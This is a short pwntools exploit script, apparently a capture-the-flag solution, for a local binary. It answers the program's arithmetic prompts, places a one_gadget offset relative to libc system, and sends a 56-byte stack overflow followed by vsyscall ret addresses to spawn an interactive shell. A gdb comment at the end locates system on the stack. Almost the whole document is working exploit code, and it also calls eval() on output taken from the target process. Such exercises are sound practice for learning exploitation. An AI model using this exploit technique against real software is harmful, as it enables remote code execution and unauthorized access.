#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'
r = process('/tmp/p/vul')

one_gadget_rce = 0x4526a
system_off = 0x45390
ret = 0xffffffffff600000


def ans():
	print r.recvuntil('Question:')
	s = r.recvuntil('=')
	s = eval(s[:-1])
	print r.recvuntil('Answer:')
	r.sendline(str(s))
print r.recvuntil('Choice:\n')
r.sendline(str(2))

print r.recvuntil('Choice:\n')
r.sendline(str(1))

print r.recvuntil('levels?\n')
r.sendline(str(0))

print r.recvuntil('more?\n')
r.sendline(str(one_gadget_rce - system_off))

for i in range(999):
	log.info(i)
	ans()



payload = 'a'*56 + p64(ret)*3
r.send(payload)
r.interactive()

"""
gdb-peda$ x/gx $rbp-0x110
0x7fffffffe180: 0x00007ffff7a52390
gdb-peda$ x/i 0x00007ffff7a52390
   0x7ffff7a52390 <__libc_system>:      test   rdi,rdi
"""